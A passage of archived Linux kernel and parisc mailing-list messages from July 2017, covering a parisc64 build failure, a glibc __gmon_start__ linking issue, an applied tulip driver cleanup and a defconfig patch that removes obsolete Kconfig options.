Message-ID: <831EE4E5E37DCC428EB295A351E662494C7B078F@shsmsx102.ccr.corp.intel.com>
References: <2eee9t3p9qmqow3xr998vi1a.1500415087874@email.android.com>
 <20170719120106.54d6ad1f@roar.ozlabs.ibm.com>
 <20170719021018.d7rqvtdpy7m4m5cz@wfg-t540p.sh.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1500432316 10372 195.159.176.226 (19 Jul 2017 02:45:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 19 Jul 2017 02:45:16 +0000 (UTC)
Cc: Helge Deller <helge.deller@steuerkanzlei-deller.de>,
        Guenter Roeck <linux@roeck-us.net>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "Ye, Xiaolong" <xiaolong.ye@intel.com>,
        "Lu, LeiX" <leix.lu@intel.com>
To: "Wu, Fengguang" <fengguang.wu@intel.com>,
        Nicholas Piggin <npiggin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 19 04:45:11 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXez4-0005zm-Ba
	for glpp-linux-parisc@m.gmane.org; Wed, 19 Jul 2017 04:45:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752045AbdGSCpM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 22:45:12 -0400
Original-Received: from mga07.intel.com ([134.134.136.100]:33669 "EHLO mga07.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751969AbdGSCpL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 22:45:11 -0400
Original-Received: from fmsmga006.fm.intel.com ([10.253.24.20])
  by orsmga105.jf.intel.com with ESMTP; 18 Jul 2017 19:45:10 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.40,379,1496127600"; 
   d="scan'208";a="129030962"
Original-Received: from fmsmsx104.amr.corp.intel.com ([10.18.124.202])
  by fmsmga006.fm.intel.com with ESMTP; 18 Jul 2017 19:45:10 -0700
Original-Received: from FMSMSX110.amr.corp.intel.com (10.18.116.10) by
 fmsmsx104.amr.corp.intel.com (10.18.124.202) with Microsoft SMTP Server (TLS)
 id 14.3.319.2; Tue, 18 Jul 2017 19:45:10 -0700
Original-Received: from shsmsx152.ccr.corp.intel.com (10.239.6.52) by
 fmsmsx110.amr.corp.intel.com (10.18.116.10) with Microsoft SMTP Server (TLS)
 id 14.3.319.2; Tue, 18 Jul 2017 19:45:10 -0700
Original-Received: from shsmsx102.ccr.corp.intel.com ([169.254.2.146]) by
 SHSMSX152.ccr.corp.intel.com ([169.254.6.122]) with mapi id 14.03.0319.002;
 Wed, 19 Jul 2017 10:45:08 +0800
Thread-Topic: parisc:generic-64bit_defconfig build failures due to 'kbuild:
 handle   libs-y archives separately...'
Thread-Index: AQHTADQ3xDs9kB/s0EuNf3vNCx48SqJabHUA
In-Reply-To: <20170719021018.d7rqvtdpy7m4m5cz@wfg-t540p.sh.intel.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
dlp-product: dlpe-windows
dlp-version: 10.0.102.7
dlp-reaction: no-action
x-originating-ip: [10.239.127.40]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27576 gmane.linux.kernel:2527011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27576>

PiANCj4gT24gV2VkLCBKdWwgMTksIDIwMTcgYXQgMTI6MDE6MDZQTSArMTAwMCwgTmljaG9sYXMg
UGlnZ2luIHdyb3RlOg0KPiA+T24gVHVlLCAxOCBKdWwgMjAxNyAyMzo1ODowNyArMDIwMA0KPiA+
SGVsZ2UgRGVsbGVyIDxoZWxnZS5kZWxsZXJAc3RldWVya2FuemxlaS1kZWxsZXIuZGU+IHdyb3Rl
Og0KPiA+DQo+ID4+DQo+ID4+IFRoaXMgb3V0c3RhbmRpbmcgcGF0Y2ggd2lsbCBmaXggaXQ6DQo+
ID4+IGh0dHBzOi8vcGF0Y2h3b3JrLmtlcm5lbC5vcmcvcGF0Y2gvOTgzMjAzMy8NCj4gPj4gSGVs
Z2UNCj4gPj4gVm9uIG1laW5lbSBTYW1zdW5nIEdlcsOkdCBnZXNlbmRldC4NCj4gPg0KPiA+VGhh
bmtzIGZvciB0aGUgcXVpY2sgZml4LiBJJ20gbm90IHN1cmUgd2h5IDBkYXkgZGlkbid0IGNhdGNo
IGl0Lg0KPiA+RG9lcyBpdCBidWlsZCB0ZXN0IHBhcmlzYy9nZW5lcmljLTY0Yml0X2RlZmNvbmZp
ZywgSSB3b25kZXI/DQo+IA0KPiBXZSBkbyB0ZXN0IHRoYXQgY29uZmlnLiBJIGd1ZXNzIGl0J3Mg
YmVjYXVzZSB0aGUgYnVpbGQgc2VydmVycyBhcmUNCj4gdW5kZXIgcHJlc3N1cmUgcmVjZW50bHku
IFBoaWxpcC9YaWFvbG9uZyBhcmUgbG9va2luZyBhdCB0aGlzIGlzc3VlLg0KSGkgYWxsLCBzb3Jy
eSBmb3IgdGhlIGluY29tcGxldGUgY292ZXJhZ2UsIHRoZSB0ZWFtIG5vdyBpcyBhY3RpdmVseSBm
aXhpbmcgYnVpbGQgY2x1c3RlciBwcm9ibGVtcywgDQp3aGljaCBoYWQgYmVlbiBkb3duIGFuZCBs
b3cgZWZmZWN0aXZlbmVzcy4gV2l0aCBjdXJyZW50IGFjY3VtdWxhdGVkIGJ1aWxkcywgaXQgbmVl
ZA0KYXQgbGVhc3QgMSB3ZWVrIHRvIHJlY292ZXIgdG8gYSBnb29kIHN0YXRlLg0KDQo+IA0KPiBU
aGFua3MsDQo+IEZlbmdndWFuZw0KPiANCj4gPj4gLS0tLS0tLS0gVXJzcHLDvG5nbGljaGUgTmFj
aHJpY2h0IC0tLS0tLS0tDQo+ID4+IFZvbjogR3VlbnRlciBSb2VjayA8bGludXhAcm9lY2stdXMu
bmV0Pg0KPiA+PiBEYXR1bTogMTguMDcuMTcgIDE3OjIxICAoR01UKzAxOjAwKQ0KPiA+PiBBbjog
TmljaG9sYXMgUGlnZ2luIDxucGlnZ2luQGdtYWlsLmNvbT4NCj4gPj4gQ2M6IGxpbnV4LWtlcm5l
bEB2Z2VyLmtlcm5lbC5vcmcsIE1hc2FoaXJvIFlhbWFkYQ0KPiA8eWFtYWRhLm1hc2FoaXJvQHNv
Y2lvbmV4dC5jb20+LCAiSmFtZXMgRS5KLiBCb3R0b21sZXkiIDxqZWpiQHBhcmlzYy0NCj4gbGlu
dXgub3JnPiwgSGVsZ2UgRGVsbGVyIDxkZWxsZXJAZ214LmRlPiwgbGludXgtcGFyaXNjQHZnZXIu
a2VybmVsLm9yZw0KPiA+PiBCZXRyZWZmOiBwYXJpc2M6Z2VuZXJpYy02NGJpdF9kZWZjb25maWcg
YnVpbGQgZmFpbHVyZXMgZHVlIHRvICdrYnVpbGQ6IGhhbmRsZQ0KPiA+ICBsaWJzLXkgYXJjaGl2
ZXMgc2VwYXJhdGVseS4uLicNCj4gPj4NCj4gPj4gSGksDQo+ID4+DQo+ID4+IHBhcmlzYzY0IGJ1
aWxkcywgc3BlY2lmaWNhbGx5IGdlbmVyaWMtNjRiaXRfZGVmY29uZmlnLCBmYWlsIHRvIGJ1aWxk
DQo+ID4+IGluIG1haW5saW5lIGFzIGZvbGxvd3MuDQo+ID4+DQo+ID4+IGhwcGE2NC1saW51eC1s
ZDoNCj4gPj4gaHBwYTY0LWxpbnV4L2Jpbi8uLi9saWIvZ2NjL2hwcGE2NC1saW51eC80LjkuMC9s
aWJnY2MuYShfZGl2ZGkzLm8pKC50ZXh0KzB4ZWMpOg0KPiA+PiBjYW5ub3QgcmVhY2ggJCRkaXZV
DQo+ID4+IGhwcGE2NC1saW51eC9iaW4vLi4vbGliL2djYy9ocHBhNjQtbGludXgvNC45LjAvbGli
Z2NjLmEoX2RpdmRpMy5vKToNCj4gPj4gSW4gZnVuY3Rpb24gYF9fZGl2ZGkzJzoNCj4gPj4gbGli
Z2NjMi5jOigudGV4dCsweGVjKTogcmVsb2NhdGlvbiB0cnVuY2F0ZWQgdG8gZml0OiBSX1BBUklT
Q19QQ1JFTDIyRg0KPiBhZ2FpbnN0DQo+ID4+IHN5bWJvbCBgJCRkaXZVJyBkZWZpbmVkIGluIC50
ZXh0LmRpdiBzZWN0aW9uIGluDQo+ID4+IGhwcGE2NC1saW51eC9iaW4vLi4vbGliL2djYy9ocHBh
NjQtbGludXgvNC45LjAvbGliZ2NjLmEoX2RpdlUubykNCj4gPj4gaHBwYTY0LWxpbnV4LWxkOg0K
PiA+PiBocHBhNjQtbGludXgvYmluLy4uL2xpYi9nY2MvaHBwYTY0LWxpbnV4LzQuOS4wL2xpYmdj
Yy5hKF9kaXZkaTMubykoLnRleHQrMHgxNTApOg0KPiA+PiBjYW5ub3QgcmVhY2ggJCRkaXZVDQo+
ID4+DQo+ID4+IFsgYW5kIG1hbnkgbW9yZSBdDQo+ID4+DQo+ID4+IFRoaXMgaXMgYWZ0ZXIgZW5h
YmxpbmcgQ09ORklHX01MT05HQ0FMTFM7IG90aGVyd2lzZSBidWlsZCBmYWlsdXJlcyBhcmUNCj4g
Pj4gbW9yZSBzZXZlcmUuDQo+ID4+DQo+ID4+IEJ1aWxkaW5nIHdpdGggZ2NjIDYuMy4wIGZhaWxz
IGFzIHdlbGwgd2l0aCB0aGUgc2FtZSBlcnJvci4NCj4gPj4NCj4gPj4gQmlzZWN0IHBvaW50cyB0
byBjb21taXQgM2ExNjZmYzJkNGVmICgia2J1aWxkOiBoYW5kbGUgbGlicy15IGFyY2hpdmVzDQo+
ID4+IHNlcGFyYXRlbHkgZnJvbSBidWlsdC1pbi5vIGFyY2hpdmVzIikgYXMgdGhlIGN1bHByaXQu
IEJpc2VjdCBsb2cgaXMNCj4gPj4gYXR0YWNoZWQuDQo=
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Wed, 19 Jul 2017 11:06:09 -0400
Lines: 118
Approved: news@gmane.org
Message-ID: <792c7aad-543b-4891-5593-f687970b5fac@bell.net>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
 <7d699079b866802cfcbe1a98c1dea56d@sf-tec.de>
 <f00975c4-8a3b-06c6-79b4-ad8559828e98@bell.net>
 <4158728.XctjvHHbYe@daneel.sf-tec.de>
 <374e365f-a708-2474-2ddd-df77029b818e@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500476777 2100 195.159.176.226 (19 Jul 2017 15:06:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 19 Jul 2017 15:06:17 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 19 17:06:10 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXqYB-0006nn-Gq
	for glpp-linux-parisc@m.gmane.org; Wed, 19 Jul 2017 17:06:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753489AbdGSPGN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 19 Jul 2017 11:06:13 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:44325 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752973AbdGSPGM (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 19 Jul 2017 11:06:12 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170719150610.ZPFK11748.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 19 Jul 2017 11:06:10 -0400
Original-Received: from [192.168.0.125] (really [69.156.6.177]) by mtlspm01.bell.net
          with ESMTP
          id <20170719150610.RMKJ3891.mtlspm01.bell.net@[192.168.0.125]>;
          Wed, 19 Jul 2017 11:06:10 -0400
In-Reply-To: <374e365f-a708-2474-2ddd-df77029b818e@bell.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=Cczn3Pjl c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=N659UExz7-8A:10 a=G3gG6ho9WtcA:10 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=bcG9N1_ciRvme3fAIXQA:9 a=pILNOxqGKmIA:10 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27578>

On 2017-07-18 4:26 PM, John David Anglin wrote:
> On 2017-07-18 3:39 PM, Rolf Eike Beer wrote:
>> John David Anglin wrote:
>>> On 2017-07-18 11:13 AM, Rolf Eike Beer wrote:
>>>> Am 2017-07-18 16:32, schrieb John David Anglin:
>>>>> On 2017-07-17 12:33 PM, John David Anglin wrote:
>>>>>> I would like to know if the gentoo folks would consider fixing the
>>>>>> __gmon_start__ bug:
>>>>>> https://sourceware.org/bugzilla/show_bug.cgi?id=19170
>>>>>>
>>>>>> There is some risk in applying the patch as rebuilding a library
>>>>>> package may break other
>>>>>> packages which depend on the library.  This could break critical
>>>>>> tools such as binutils and
>>>>>> gcc.  In which case, some manual intervention may be needed.
>>>>>> However, the transition
>>>>>> on Debian went fairly smoothly.  As a result, we no longer have the
>>>>>> external symbol
>>>>>> __gmon_start exposed and we have correct library dependencies.
>>>>>>
>>>>>> The issues with _init referred to in the BZ report are fixed. It is
>>>>>> now PIC; and PIE applications
>>>>>> work on hppa thanks to Alan Modra.
>>>>> Helge: we need to add PIE load address to the kernel TODO list if 
>>>>> it's
>>>>> not already there.
>>>>>
>>>>>> Although not ideal, we could keep the __gmon_start__ patch in 
>>>>>> Debian.
>>>>> The other approach is to install the __gmon_start__ patch and let
>>>>> gentoo revert it.  I'm starting
>>>>> to think this is best.
>>>> I don't think there will be a big problem for Gentoo to accept it, as
>>>> long as there is a working upgrade path like "build glibc with flag
>>>> -special-foo, rebuild system, remove flag and rebuild glibc again".
>>>> And of course a hint in the release notes so it will be obvious to the
>>>> packagers what they have to take care of. That flag thing is something
>>>> that Gentoo probably can add to their build scripts, something that
>>>> e.g. keeps the symbol in the lib without exporting it during linking,
>>>> so it would be resolvable first and the reference goes away on
>>>> rebuild. Or whatever ;)
>>> I'm not sure you fully understand the issue.  It doesn't involve doing
>>> anything special in building glibc.
>>>
>>> The issue is this code in glibc's crtn.S:
>>>
>>> /* Note that we cannot have a weak undefined __gmon_start__, because
>>>      that would require this to be PIC, and the linker is currently not
>>>      able to generate a proper procedure descriptor for _init.  Sad but
>>>      true.  Anyway, HPPA is one of those horrible architectures where
>>>      making the comparison and indirect call is quite expensive (see 
>>> the
>>>      comment in sysdeps/generic/initfini.c). */
>>>           .text
>>>           .align 4
>>>           .weak   __gmon_start__
>>>           .type    __gmon_start__,@function
>>> __gmon_start__:
>>>           .proc
>>>           .callinfo
>>>           .entry
>>>           bv,n %r0(%r2)
>>>           .exit
>>>           .procend
>>>
>>> The above hunk of code results in a weak __gmon_start__ function in
>>> every shared library.
>>> The function needs to be removed.
>>>
>>> As can be seen, the function does nothing.  It is called once when a
>>> shared library is loaded.
>>>
>>> In an application link, __gmon_start__ is resolved to one of the shared
>>> libraries used by the application.
>> So, this would be a problem if the application only links to glibc 
>> (and it's
>> libraries), no? The problem is not rebuilding, Gentoo is actually 
>> totally
>> about rebuilding your system every now and then ;) The point is: what 
>> must be
>> done to have an upgrade path from the old glibc to the new one that 
>> will not
>> break the system on the way.
> It's not a problem for applications that only link against libc, but 
> for other libraries.  I'm
> not aware of any way to avoid some breakage other than retaining the 
> old behavior.  The new
> glibc doesn't break anything directly.  The breakage occurs when 
> libraries are linked with
> the new crt* files.
>
> One could build up a minimal system in a chroot.  When you are sure 
> that it works, then
> these tools could be used to get past any breakage.  I don't know the 
> gentoo build system
> so I don't know how easy this would be.
The patch will not be applied until after the 2.26 branch is created so 
there is plenty of time to
consider what needs to be done.

There is one addition issue to consider.  Linuxthreads is now removed 
and hppa uses the
generic nptl thread support.  So, old linuxthread applications will no 
longer work.  Changes
to nptl broke 2.25 on hppa and no doubt the code that tried to handle 
both methodologies
was buggy.  Most architectures dropped linuxthreads years ago.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] net: tulip: remove useless code in tulip_init_one()
Date: Wed, 19 Jul 2017 16:34:54 -0700 (PDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <20170719.163454.939196951176615099.davem@davemloft.net>
References: <20170718204333.GA12258@embeddedgus>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500507303 10125 195.159.176.226 (19 Jul 2017 23:35:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 19 Jul 2017 23:35:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, netdev@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: gustavo@embeddedor.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 20 01:34:59 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dXyUb-0002Gs-Kk
	for glk-linux-kernel-3@m.gmane.org; Thu, 20 Jul 2017 01:34:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754885AbdGSXe7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 19 Jul 2017 19:34:59 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:49060 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754373AbdGSXez (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 19 Jul 2017 19:34:55 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 2C4E91364128F;
        Wed, 19 Jul 2017 16:34:55 -0700 (PDT)
In-Reply-To: <20170718204333.GA12258@embeddedgus>
X-Mailer: Mew version 6.7 on Emacs 25.2 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Wed, 19 Jul 2017 16:34:55 -0700 (PDT)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2528426 gmane.linux.ports.parisc:27579 gmane.linux.network:481017
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2528426>

From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Date: Tue, 18 Jul 2017 15:43:33 -0500

> Remove useless local variable multiport_cnt and the code related.
> 
> Signed-off-by: Gustavo A. R. Silva <gustavo@embeddedor.com>

Applied.


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Krzysztof Kozlowski <krzk@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RESEND PATCH] parisc: defconfig: Cleanup from old Kconfig options
Date: Thu, 20 Jul 2017 07:00:13 +0200
Lines: 240
Approved: news@gmane.org
Message-ID: <1500526814-3900-1-git-send-email-krzk@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1500526831 16196 195.159.176.226 (20 Jul 2017 05:00:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Jul 2017 05:00:31 +0000 (UTC)
Cc: Krzysztof Kozlowski <krzk@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 20 07:00:27 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dY3ZZ-0003xi-W5
	for glk-linux-kernel-3@m.gmane.org; Thu, 20 Jul 2017 07:00:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754966AbdGTFA2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 20 Jul 2017 01:00:28 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:32842 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754913AbdGTFA1 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Jul 2017 01:00:27 -0400
Original-Received: from localhost.localdomain (unknown [185.13.106.193])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 745BE22C93;
        Thu, 20 Jul 2017 05:00:25 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 745BE22C93
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=krzk@kernel.org
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2528582 gmane.linux.ports.parisc:27580
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2528582>

Remove old, dead Kconfig options (in order appearing in this commit):
 - EXPERIMENTAL is gone since v3.9;
 - INET_LRO: commit 7bbf3cae65b6 ("ipv4: Remove inet_lro library");
 - IP_NF_QUEUE: commit 3dd6664fac7e ("netfilter: remove unused "config
   IP_NF_QUEUE"");
 - VIDEO_OUTPUT_CONTROL: commit f167a64e9d67 ("video / output: Drop
   display output class support");
 - RCU_CPU_STALL_DETECTOR: commit a00e0d714fbd ("rcu: Remove conditional
   compilation for RCU CPU stall warnings");
 - IP_NF_TARGET_ULOG: commit d4da843e6fad ("netfilter: kill remnants of
   ulog targets");
 - IP6_NF_TARGET_LOG: commit 6939c33a757b ("netfilter: merge ipt_LOG and
   ip6_LOG into xt_LOG");
 - AUTOFS_FS: commit 561c5cf9236a ("staging: Remove autofs3");

Signed-off-by: Krzysztof Kozlowski <krzk@kernel.org>
---
 arch/parisc/configs/712_defconfig           | 5 -----
 arch/parisc/configs/a500_defconfig          | 6 ------
 arch/parisc/configs/b180_defconfig          | 3 ---
 arch/parisc/configs/c3000_defconfig         | 5 -----
 arch/parisc/configs/default_defconfig       | 5 -----
 arch/parisc/configs/generic-32bit_defconfig | 2 --
 6 files changed, 26 deletions(-)

diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_defconfig
index 143d02652792..493e03c2a219 100644
--- a/arch/parisc/configs/712_defconfig
+++ b/arch/parisc/configs/712_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_POSIX_MQUEUE=y
@@ -32,11 +31,9 @@ CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
-# CONFIG_INET_LRO is not set
 CONFIG_INET_DIAG=m
 # CONFIG_IPV6 is not set
 CONFIG_NETFILTER=y
-CONFIG_IP_NF_QUEUE=m
 CONFIG_LLC2=m
 CONFIG_NET_PKTGEN=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
@@ -94,7 +91,6 @@ CONFIG_PPDEV=m
 # CONFIG_HW_RANDOM is not set
 CONFIG_RAW_DRIVER=y
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FB_MODE_HELPERS=y
 CONFIG_FB_TILEBLITTING=y
@@ -181,7 +177,6 @@ CONFIG_MAGIC_SYSRQ=y
 CONFIG_DEBUG_FS=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_HMAC=y
diff --git a/arch/parisc/configs/a500_defconfig b/arch/parisc/configs/a500_defconfig
index 1a4f776b49b8..8d67e2373920 100644
--- a/arch/parisc/configs/a500_defconfig
+++ b/arch/parisc/configs/a500_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_POSIX_MQUEUE=y
@@ -43,21 +42,18 @@ CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
-# CONFIG_INET_LRO is not set
 CONFIG_INET6_AH=m
 CONFIG_INET6_ESP=m
 CONFIG_INET6_IPCOMP=m
 CONFIG_IPV6_TUNNEL=m
 CONFIG_NETFILTER=y
 # CONFIG_NETFILTER_XT_MATCH_DCCP is not set
-CONFIG_IP_NF_QUEUE=m
 CONFIG_IP_NF_IPTABLES=m
 CONFIG_IP_NF_MATCH_ECN=m
 CONFIG_IP_NF_MATCH_TTL=m
 CONFIG_IP_NF_FILTER=m
 CONFIG_IP_NF_TARGET_REJECT=m
 CONFIG_IP_NF_TARGET_LOG=m
-CONFIG_IP_NF_TARGET_ULOG=m
 CONFIG_IP_NF_MANGLE=m
 CONFIG_IP_NF_TARGET_ECN=m
 CONFIG_IP_NF_RAW=m
@@ -70,7 +66,6 @@ CONFIG_IP6_NF_MATCH_OPTS=m
 CONFIG_IP6_NF_MATCH_HL=m
 CONFIG_IP6_NF_MATCH_IPV6HEADER=m
 CONFIG_IP6_NF_MATCH_RT=m
-CONFIG_IP6_NF_TARGET_LOG=m
 CONFIG_IP6_NF_FILTER=m
 CONFIG_IP6_NF_TARGET_REJECT=m
 CONFIG_IP6_NF_MANGLE=m
@@ -192,7 +187,6 @@ CONFIG_DEBUG_FS=y
 CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
 # CONFIG_DEBUG_BUGVERBOSE is not set
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_CRYPTO_NULL=m
